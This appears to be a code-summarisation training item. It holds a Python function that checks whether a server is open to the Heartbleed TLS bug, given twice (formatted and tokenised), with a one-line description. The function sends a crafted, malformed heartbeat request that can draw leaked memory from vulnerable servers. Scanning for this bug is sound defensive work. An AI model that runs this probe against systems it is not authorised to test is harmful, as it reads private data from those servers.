def is_vulnerable(host, timeout, port=443):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.settimeout(int(timeout))
 try:
  s.connect((host, int(port)))
 except Exception as e:
  return None
 s.send(hello)
 while True:
  (typ, ver, pay) = recvmsg(s)
  if (typ is None):
   return None
  if (typ == 22):
   payarr = unpack_handshake(pay)
   finddone = [t for (t, l, p) in payarr if (t == 14)]
   if (len(finddone) > 0):
    break
 ver_chr = chr((ver & 255))
 hb = (((h2bin('18 03') + ver_chr) + h2bin('40 00 01 3f fd')) + ('\x01' * 16381))
 hb += ((h2bin('18 03') + ver_chr) + h2bin('00 03 01 00 00'))
 s.send(hb)
 return hit_hb(s)

def is_vulnerable ( host , timeout , port = 443 ) : s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) s . settimeout ( int ( timeout ) ) try : s . connect ( ( host , int ( port ) ) ) except Exception as e : return None s . send ( hello ) while True : ( typ , ver , pay ) = recvmsg ( s ) if ( typ is None ) : return None if ( typ == 22 ) : payarr = unpack_handshake ( pay ) finddone = [ t for ( t , l , p ) in payarr if ( t == 14 ) ] if ( len ( finddone ) > 0 ) : break ver_chr = chr ( ( ver & 255 ) ) hb = ( ( ( h2bin ( '18 03' ) + ver_chr ) + h2bin ( '40 00 01 3f fd' ) ) + ( '\x01' * 16381 ) ) hb += ( ( h2bin ( '18 03' ) + ver_chr ) + h2bin ( '00 03 01 00 00' ) ) s . send ( hb ) return hit_hb ( s )
check if remote host is vulnerable to heartbleed returns: none -- if remote host has no ssl false -- remote host has ssl but likely not vulnerable true -- remote host might be vulnerable .